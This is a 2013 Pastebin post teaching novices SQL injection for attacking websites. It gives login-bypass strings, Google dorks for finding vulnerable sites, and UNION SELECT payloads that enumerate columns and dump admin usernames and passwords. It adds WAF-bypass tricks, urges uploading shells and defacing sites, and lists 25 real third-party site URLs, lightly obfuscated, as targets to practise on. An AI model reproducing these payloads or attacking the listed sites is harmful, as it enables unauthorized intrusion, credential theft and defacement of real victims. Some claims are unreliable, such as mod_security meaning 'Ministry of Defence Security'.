Hackersallin

Basic + Advance SQL Injection for Newbies

Oct 27th, 2013
2,467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.66 KB | None | 0 0
  1. Hey guys this is my first tutorial ever and today I will share some of my knowledge with you about SQL Injection in very plain language so everyone can understand what it is and then he/she can learn how to exploit it! And at the end of this tutorial i will post some of SQL Vulnerable Sites so you can practice what you have learned!
  2. I recommend that while hacking a website you open a notepad and write down (basically copy and paste) every information that you get from the server!
  3.  
  4. So let’s get started!
  5.  
  6. So first question most people ask is - What is SQL Injection?
  7. SQL injection is a code injection technique in which a hacker can enter malicious SQL statements into an entry field for execution to gain access to any type of SQL database which has a security vulnerability in its application software which does not filter for the data given by the user and executes it and thus a hacker can extract out Usernames and Passwords stored in the database. SQL Injection is mostly used to attack websites in order to gain access to the stored Admin Username and Admin Password so that the attacker can gain Admin Access to the website and then deface the website or do any other such tasks.
  8. If anyone wants to know in more detailed form then go here => http://en.wikipedia.org/wiki/SQL_injection
  9.  
  10. Second question some people ask – Sometimes Website Prevent SQL Injection by something called as Mod_Security. What is it? Then what about Waf? Are they same?
  11. The thing is that Mod_Security and Waf are both the same things! Mod_Security stands for (which a friend of mine told me) Ministry of Defence Security (very old version of it) while Waf stands for Web Application Firewall. And what they do is that they filter out the SQL Injection Statements and thus it becomes a bit hard to do basic SQL Injection and hence stops the SQL Injection and various other types of Hacks by not allowing Malicious Statements to pass through so they can run!
  12. But don’t worry further in my Tutorial I will explain how to bypass that also!
  13.  
  14. So without any further ado let’s start hacking!
  15.  
  16. So for first of all we will start with the most basic SQL Vulnerability know as SQL Injection String!
  17. SQL Injection String
  18. These are the SQL Injection Strings, using them are very simple and very easy! You just need to find the login page of the website and then put these 1 of these code in both username and password and you will gain access directly to the admin panel or if you fail you can try other Strings! Finding SQL Vulnerable website I have explained later so check it from there on how to obtain SQL Vulnerable website! Remember this trick does not work on all websites so it takes a lot of time in checking!
  19. You place 1 code into both the username / admin and password field of the login page, Like :
  20. Username:' or 1=1--
  21. Password:' or 1=1--
  22. The fun thing about these is that when you enter these into the username and password field of the website login page is that the database gets fooled and gets tricked! What it does basically is that it tells the database to search for this value and tells it either “ ‘ “ is true “ or “ to try for the value “ 1=1 ” which as we all know 1 will always be equal to 1 and “ -- “ is just a comment line! What is does is that this tells the database that if the username and password that is the given is a false value then try the value of 1=1 which we all know is always true! So the database takes this information to be true instead of it being false! So it takes the topmost registered admin or user and logs you in his id! Usually as the 1st Id is of the admin so you will login as the admin!
  23. For more list of such Injection String go to => http://pastebin.com/dg5J1SNr
  24. And if you want some vulnerable sites of SQL Injection by String then PM me and I will send!
  25.  
  26. Now let’s start more of a serious SQL Hacking!
  27.  
  28. Finding Vulnerable Sites
  29. Finding a vulnerable website is a bit difficult but searching for a vulnerable website is a lot easy then it sounds, the most common methods hackers use is Google Dorks. Dorks is a input query of the Google Search Engine in which a person can find a particular type of website and that particular type of website in our case will be the SQL Vulnerable type of websites! So how to use Google Dorks? It’s very easy!
  30. We will use the “ inurl “ ( In URL ) function of Google Dorks! With inurl we tell Google to display only the URL’s which have the criteria matched by ours! So we usually exploit the “ id “ parameter of most webpages but remember not only “ id “ parameter is vulnerable there are many others also like “ cat “ or “ catid ” or “ max “ , etc.
  31. To start searching for Vulnerabilities go on Google.com and type in “ inurl:index.php?id= “ and hit Enter!
  32. Some other examples :
  33. Inurl:index.php?id=
  34. Inurl:gallery.php?id=
  35. inurl:article.php?id=
  36. inurl:pageid=
  37. You can get more from :
  38. http://pastebin.com/RfcWksbg
  39.  
  40. This gives all the URL’s ending with “ index.php?id= “ and some of them might be vulnerable!
  41. To find which website is exactly vulnerable, open the URL given by Google Dorks and after the value or string of the parameter ( id, cat , catid, max ,etc) put a “ ‘ “
  42. And if the webpage displays a error such as the following or any other type of SQL Statement error than that website is Vulnerable! Or the website might be missing text, images, spaces or scripts from the original page! (Even if you get the Error it might depend if that website can easily be hacked or if it will take advance bypass or more)
  43. We will be taking the URL and consider it to be vulnerable :
  44. www.vulnerablewebsite.com/index.php?id=15
  45. So if you want to check if its vulnerable then we put a “ ‘ “ at the end of it like this :
  46. www.vulnerablewebsite.com/index.php?id=15’
  47. and we hit Enter!
  48. If you get a error then it means that website is SQL Vulnerable or if you get no error of SQL then try searching for vulnerabilities on other websites!
  49. Some example of errors :
  50. Warning: mysql_fetch_array():
  51. Warning: mysql_fetch_assoc():
  52. Warning: mysql_numrows():
  53. Warning: mysql_num_rows():
  54. Warning: mysql_result():
  55. Warning: mysql_preg_match():
  56.  
  57. To find the number of Columns in the database
  58. So by now I suppose you must have got the vulnerable site?
  59. Now let’s start out our actual hacking part! Let’s first get the number of tables and from that we can later get which tables are infected via which we can inject our malicious codes and run it and extract data from the SQL Database!
  60. Let’s take in something easy! In this part of hacking we replace the “ ‘ “ we put earlier after the value of the parameter and put “ Order By N “ where N = any number !
  61. Now let me tell you what it does! ” Order by N “ orders Columns by N Numbers and if we call a Column with a N Number which is not there then it gives a error!
  62. Let me tell you guys both the basic way and the trick in this thing!
  63. So the idea behind this is that to get the number of Columns that exist in the database and for that we Order a column and see if it exists, if it exists we take in the next column and if it does not we go back a column!
  64. For example :
  65. URL : Error :
  66. www.vulnerablewebsite.com/index.php?id=15 Order by 1 No error Possible (As there will always be at least minimum 1 column)
  67. www.vulnerablewebsite.com/index.php?id=15 Order by 2 No error
  68. www.vulnerablewebsite.com/index.php?id=15 Order by 3 No error
  69. www.vulnerablewebsite.com/index.php?id=15 Order by 4 No error
  70. www.vulnerablewebsite.com/index.php?id=15 Order by 5 No error
  71. www.vulnerablewebsite.com/index.php?id=15 Order by 6 No error
  72. www.vulnerablewebsite.com/index.php?id=15 Order by 7 No error
  73. www.vulnerablewebsite.com/index.php?id=15 Order by 8 Error
  74. It gives a error when we order the 8th column which means that there is no 8th column in the database! It means there are only 7 columns!
  75. You might get a error of : Unknown column '8' in 'order clause'
  76. 8 error in this case usually it can be any!
  77. Now let me tell you the trick!
  78. The example above had very short number of columns but suppose there are a lot like suppose 18 then what? Well normally you will have to order all the columns from 1 to 18 one by one! But if we apply a short trick we can easily get the number of columns!
  79. What we will do is that we use the idea that if a column is not present it will give a error, so we will Order 20th column (I usually do 20 columns as usually websites have lower than this) and if we get a error of : Unknown column ‘20’ in ‘order clause’ Then it means that there are less columns than 20 in the database! So we usually half this number and order again, in this case we will order 10. So when we order column 10 the result gets displayed! It means there are more than 10 columns but less than 20 columns. So we take middle of this and hit enter. So for order 15 we get no error which means there are more than 15 columns but less than 20. Now we try for 17 columns which again gives no error, so it means either there are 17,18,19 columns in the database! Now we go one by one so we try for 18 columns still no error, then we try for 19 columns and it gives a error, which means that there are 18 columns!
  80. For example :
  81. URL : Error :
  82. www.vulnerablewebsite2.com/index.php?id=18 Order by 20 Error
  83. www.vulnerablewebsite2.com/index.php?id=18 Order by 10 No error
  84. www.vulnerablewebsite2.com/index.php?id=18Order by 15 No error
  85. www.vulnerablewebsite2.com/index.php?id=18 Order by 17 No error
  86. www.vulnerablewebsite2.com/index.php?id=18 Order by 18 No error
  87. www.vulnerablewebsite2.com/index.php?id=18Order by 19 Error!
  88.  
  89. Now let me tell you the ultimate easiest method! Using “ Group By “ to find the number of columns in 1 go!
  90. What happens in this is that we Group all the columns and the database itself tells us which Column is not there! It’s the easiest method and gets the work done in 1 go!
  91. But the bad thing about this is that we have to write a lot of numbers! Like suppose there are mostly less columns than 20 in a database but that’s only usually it can also be way more! But if we take the case of 20 database then we will have to write all the numbers from 1-20 all at one go! Some people use Hackbar addon of Firefox to do this easy! But I would say you can use any thing or you can also type it by youself! I use HackBar Addon of Firefox to type a long list of numbers for me! I also use hackbar for my SQL Injection because it makes it very easy such as converting to hex or to unhex in 1 go , etc. But I will not explain that here! We suppose there are 11 columns.
  92. For example :
  93. www.vulnerablewebsite3.com/index.php?id=20 Group by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
  94. It will always give a error and in this case we will get the error : Unknown column '11' in 'group statement'
  95. And this tells us that there is no 11th column and it means that there are 10 columns!
  96.  
  97. But if you get no error by using any of the above methods you can try adding “--“ or “-- -“ or “--+” or “--+-“ or any such combination and then try again using the above methods!
  98. For example :
  99. www.vulnerablewebsite.com/index.php?id=15 Order by 20--
  100. www.vulnerablewebsite.com/index.php?id=15 Order by 20--+
  101. www.vulnerablewebsite.com/index.php?id=15 Order by 20-- -
  102. www.vulnerablewebsite.com/index.php?id=15 Order by 20--+-
  103. www.vulnerablewebsite.com/index.php?id=15 Order by 20-+-
  104. Awesome right? :P
  105.  
  106. Finding which columns are vulnerable
  107. Now we know there are 7 columns in our database we want to find out which column in the database is such that we can make it run our malicious code. For that we use “ Union Select “ or “ Union All Select “ which both behave as the same function so we will go for “ Union Select “.
  108. So we will add “ Union Select 1,2,3,4,5,6,7 “
  109. For example :
  110. www.vulnerablewebsite.com/index.php?id=15 Union select 1,2,3,4,5,6,7
  111. In some sites some content of the webpage disappears and some numbers among 1-7 might be displayed and it means that those columns are vulnerable! But if you don’t get any number don’t worry because most websites want a null string “ - “ in front of the value of the vulnerable parameter and add a comment “--“at the end the URL like this :
  112. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,3,4,5,6,7--
  113. and this mostly gives the result that we want but sometimes we get a error of Mod_Security in which we need to bypass the filters of it which I will tell you guys in the next tutorial if you guys want!
  114. So this most of time gets the work done! Now let’s suppose we get the numbers 3 and 6 displayed on the website which means that those columns are vulnerable and we can inject our malicious code into the database and extract the data!
  115. Finding the version used of the database
  116. In this tutorial as I am only explaining how to inject in SQL Database in version 5 or more and not in 4 or less than 5! So it’s very important to get the version of the database!
  117. To get the version of the database we inject either : @@version OR version()
  118. We just replace the Vulnerable Column number with one of the above!
  119. For example :
  120. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,@@version,4,5,6,7--
  121. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,version(),4,5,6,7--
  122. If we get a version 5 or above then that’s awesome! Because in this thread I will teach you guys about version 5 or above only!
  123. But if you do not get a version by this method and your page loads up normally (happens at rare occasions) then we can do one of the two things :
  124. 1st. You can convert - @@version or version() to latin1 or utf8 by using the following code :
  125. convert(@@version using latin1) or convert(version() using latin1)
  126. convert(@@version using utf8) or convert(version() using utf8)
  127. 2nd. You can hex - @@version or version() by using the following command :
  128. Unhex(hex(@@version)) or Unhex(hex(version()))
  129. If anyone of you is wondering what is Hex then in the most basic way hex or hexdecimal is basic human friendly binary coded value! As luckly Hex is accepted by SQL we can use it to bypass any errors!
  130.  
  131. Getting Database Name and the Current User
  132. This however personally I don’t feel has any use but as I am telling everything (almost) I thought to add this too! Getting the names of the database on the website and to get the current user is very easy!
  133. Just do the same thing as you did in getting the version of the database but instead use : database() or user() respectively! And save this information in the Notepad (as I told you guys at the very beginning).
  134.  
  135. Obtaining Table and Column Names from the Database
  136. Now the fun starts! (Unless things don’t work out for you as well as it is planned! :P )
  137. We will extract the name of the Tables and columns stored in the database! There are a couple of ways of doing this I will tell you 2 of them : Group_Concat() and Concat_WS()
  138. Using Group_Concat
  139. We will put : Group_Concat(Table_name) or Group_Concat(Column_name) instead of the vulnerable column number and at the end we will remove the “ -- “ will put : from information_schema.tables where table_schema=database()--
  140. Or
  141. from information_schema.columns where table_ schema =database()--
  142. For example :
  143. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,group_concat(table_name),4,5,6,7 from information_Schema.tables where table_ schema=database()--
  144. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,group_concat(column_name),4,5,6,7 from information_Schema.columns where table_ schema=database()--
  145.  
  146. Now let me break it down and explain =>
  147. Group_Concat(Table_Name) or Group_Concat(Column_Name) => Tells the database to group the table or column names stored in the database.
  148. From => Tells it to get this result “ From “ here.
  149. Information_Schema.Tables or Information_Schema.Columns => Tells the Database to get this information (Name of Tables in this case).
  150. Where => A query for selection.
  151. Table_ schema => Tells it to get the table name and “ = “ From here.
  152. Database() => As we saw earlier this gives the name of the database so the database gets the information from the given name of the database but as Database() gives the current Database so it will get the names of the tables from the current database.
  153. “ -- “ => It is a comment, Just leave it as it is :P
  154.  
  155. And thus the database will give us that names of the tables and the names of the columns respectively!
  156. And for a hint * Mostly which ever of the hacker writes the code for first either for table name or for colum name and then just edit the URL to get the other! So just edit out the Table or Column in the “ Group_Concat “ and the “ Information_Schema. “ and add the other!
  157. And don’t forget to save the information that you get the notepad!
  158. Using Concat_WS
  159. Using Concat_WS is very easy and is almost the exact same with Group_Concat!
  160. All you need to do is do everything which you do in Group_Concat but instead of Group_Concat put Concat_WS and also in the “ () “ put : “ Char(32,58,32), “ extra!
  161. And if anyone of you is asking what is Char(32,58,32) it’s a good question! It stands for “ : “ (Space:Space) which separates the data!
  162. For example :
  163. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,concat_ws(Char(32,58,32),Table_Name),4,5,6,7 from information_schema.tables where table_ schema=database()--
  164. and
  165. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,concat_ws(Char(32,58,32),Column_Name),4,5,6,7 from information_schema.columns where table_ schema=database()--
  166. And save the information received in notepad! But if you got a error by Mod_Security it means that it needs Waf bypassing with I cannot fully explain in this tutorial but I will partially explain it!
  167.  
  168. Let’s suppose the information we got (It’s not necessary that you will get the same information) :
  169. Tables => admin , comments , gal_images , images_comments , messages , news , profile_pic , videocomments , videos , visitors
  170. Columns => AdminID, ParentAdminID, Username, Pwd, Gallery, Category, ImageURL, ThumbURL, Title, Alt, Description, NewsType, NewsDate, NewsDetails, NewsFrom, NewsFor, Name, Organisation, EmailID, Password, Address, City, Mobile, LastVisit, LastCommentPost, ActivationKey, Status
  171. And from this information we can see that we want the “ Admin “ Table and “ Username,Pwd,Password “ Columns!
  172.  
  173. Extract Data from Database
  174. This is a very easy step after we get the table and column name! We can use any of the : Group_Concat(), Concat_WS() and Concat() and as told above in Concat_WS() you have to write Char(32,58,32) like : Concat_WS(Char(32,58,32)) but and Concat() has nothing extra to write in it and is same as Group_Concat!
  175. But in this to extract data we put (supposing we want the username, password column data) : Group_Concat(username,0x3a,password) or Concat_WS(Char(32,58,32),username,password) or Concat(username,0x3a,password)
  176. And at the end removing all the “from information_schema.columns where table_schema=database()-- “
  177. We put : from (Name of the Table)--
  178. Such as : from admin-- or from users--
  179. For example :
  180. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,Group_Concat(Username,0x3a,Password) from admin---
  181. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,Concat_WS(Char(32,58,32),Username,Password) from admin---
  182. www.vulnerablewebsite.com/index.php?id=-15 union select 1,2,Concat(Username,0x3a,Password) from admin---
  183. I suppose now you understand why we use Char(32,58,32) in Concat_WS because it separates each data given with “ : “ (Space:Space)
  184. But if you are asking what is the “ 0x3a “ for well it is also for separating and it separates by “:” (:)
  185. Important Thing –
  186. By now you must know SQL accepts Hex language! But in SQL even though it accepts Hex encryption but before any Hex Code you have to enter “0x” because only after this SQL Accepts Hex!
  187.  
  188. And there you have it! You got the username and password of all the accounts on the Database! Now all you have to do is find the login page of the website! You can either get it from Google or by Searching the website! Or you can also get it from any admin or login page finder program or anything like that!
  189. And then just simply put in the credentials that you got from the database! And that’s it you got into the admin page! Now you can do whatever you want with the website including uploading shell and messing up the website and deface the website or anything you want! And if you need any good shell than PM me or if you want a very good deface page then also PM me!
  190.  
  191. Mod_Security Bypass
  192. Remember I cannot fully make you understand in this tutorial as it by now itself has become quite large! But if you guys do want a tutorial on this PM me or Post in this thread!
  193. So what is Mod_Security?
  194. Well some websites to prevent hackers like us put up security in their website so they can stop hackers to use different types of hacks like SQL Injection, XSS, etc! And gives us a Mod_Security error when we try to inject any malicious code into the website!
  195. But as we all know we hackers cannot ever be stopped! So we can bypass this Mod_Security which is also known as Waf bypassing (Web Application Firewall Bypassing)!
  196. So basically what this Mod_Security does is that it filters out some specific keywords from being injected!
  197. If anyone of you is thinking that I wrote specific that means it must be bypassable by using any other keyword or any other type of keyword than you are right! We just trick the Mod_Security and bypass its Filters and successfully execute the malicious code!
  198.  
  199. This Mod_Security causes problem in a lot of things in SQL Injection usually!
  200. Such is that of the “ Order By n “ to get the number of columns in the website and later to get the vulnerable column! So this can be easily be bypassed by using the different “ -- “ or “--+” or all the different such types of comments I told you guys to add at the end in the beginning when I told you guys how to get the number of columns!
  201. This was easy but what if other important stuffs are blocked of? Such as “ Union Select “ and “ from information_schema.tables where table_ schema =database()-- “
  202. The most common way is to make it look as a comment to the Mod_Security and as Mod_Security passes comments without any filter we can easily execute out malicious code! But of course if the Waf has more advance filters this will be difficult! But anyways the trick is adding : “/*! */” or “/*!50000 */”
  203. You can use them as : “+/*!50000Union*/+/*!50000Select*/+” and as : “+from+/*!information_schema.columns+WHERE+TaBlE_SchEmA=database()*/--“
  204. For example :
  205. www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2,3,4,5,6,7-- -
  206. www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2,version(),4,5,6,7-- -
  207. www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2, CONCAT_WS(CHAR(32,58,32),table_name),4,5,6,7+FrOM+/*!information_schema.tables+WHERE+TaBlE_SchEmA=database()*/-- -
  208. www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2, CONCAT_WS(CHAR(32,58,32),column_name),4,5,6,7+FrOM+/*!information_schema.columns+WHERE+TaBlE_SchEmA=database()*/-- -
  209. www.vulnerablewebsite.com/index.php?id=-15+/*!50000Union*/+/*!50000Select*/+1,2, CONCAT_WS(CHAR(32,58,32),Username,Password),4,5,6,7+FrOM+admin-- -
  210. If you are thinking why did I make the “Concat_Ws” Capital or play with the capitalization of “from information_schema.tables where table_schema=database()-- -“ then that’s a very good question you guys should know the answer to! This is because this is another way to bypass the Mod_Security as Mod_Security filters specific words and if we change the capitalization it sometimes bypasses that filters!
  211.  
  212. Another example would be of Replacing keyword technique, and as Waf filters out Union and Select we will replace the keywords so we would just play with it.
  213. Such as: +UnIoN+SeLselectECT+
  214. When the Waf filters those keywords, the “UNI and ON” and “SEL and ECT” join back to form one word again.
  215. And thus we successfully bypass the Mod_Security another time!
  216. In this tutorial I can only explain this much about Mod_Security!
  217. So guys thanks for reading all the way through (If you did :P ) because I know this tutorial became a bit too long! But I did this so that each and every one of you can understand it in the most basic language!
  218. Now for some challenges! These challenges were not found by me! Instead they were found by other members of HackForums.net or from any other website! Finding of these vulnerability and giving us the challenge is all thanks to them!
  219. But you challenge is just to Find out the Version of Database in the Following and to try to write you name next to the version of the database! Don’t worry if you can’t PM me I will help!
  220. 1. http://www.go[HF]contempo.com/pages.php?id=2
  221. 2. http://sveka[HF]tt.se/index.php [Also you have to find the vulnerable URL on your own in this one and then find out the Version of the Database!]
  222. 3. http://ditto[HF]3d.com/gallery.php?id=7
  223. 4. http://www.fuente[HF]pilates.com/visorrep.php?nID=127
  224. 5. http://sd2.[HF]itd.cnr.it/prot/espusoP.php?ZID=5&Page=12
  225. 6. http://trab[HF]ely.com/en/product.php?id=1
  226. 7. http://www.purple[HF]snow.net/UI/download.php?id=3
  227. 8. http://www.pt-[HF]plib.com/page_main.php?id_stdpg=194
  228. 9. http://www.prespec-[HF]consulting.com/theme/theme.php?id_theme=7
  229. 10. http://www.running[HF]myraces.com/event.php?id=2
  230. 11. http://wmsy[HF]acres.com/viewproduct.php?id=10
  231. 12. http://www.andy[HF]timmons.com/video.php?id=0004
  232. 13. http://www.rigik[HF]ulm.ch/index.php?id=6
  233. 14. http://www.blind-[HF]guardian.com/discography.php3?cat=1&album_id=24
  234. 15. http://www.digi[HF]mind.com.vn/?page=category&DMID=65
  235. 16. http://www.ilumin[HF]acionestriac.com/ver-producto.php?id=12
  236. 17. http://www.travel[HF]worldonline.in/Tourism-article.php?id=11
  237. 18. http://nbnewsx[HF]press.com/news.php?id=28
  238. 19. http://www.audio[HF]trends.com.au/Favourite.html?action=viewProduct&itemId=1192
  239. 20. http://www.clan[HF]william.info/index.php?id=1
  240. 21. http://standish[HF]capitalmortgage.com/pages.php?page_id=3
  241. 22. http://www.sk[HF]bcases.com/music/news/news-detail.php?id=24
  242. 23. http://www.qhd[HF]senbao.com/cp_look.php?id=42
  243. 24. http://utahnsforpublic[HF]schools.org/media/releases/release.php?start=0&rel=1 [Forbidden error = Waf Bypass!]
  244. 25. http://www.cn[HF]book.cn/topic.php?id=1
  245. Just remember to remove [HF] from the URL’s!
  246. Also if you can’t inject on any of the above websites then PM me and I will help you!
  247.  
  248. If anyone wants I can also create a tutorial on “How to Complete Challenges of SQL Injection given on HF” like how to complete the challenge and how to add your name or add a picture or how to make all the tables display one by one ,etc!
  249. Bookmark this Thread so you can visit it anytime you need and please share this link and keep posting to keep the Thread alive!
  250.  
  251. Also I have not Edited this so am sorry for any Grammar Mistake :P
Advertisement
Add Comment
Please, Sign In to add comment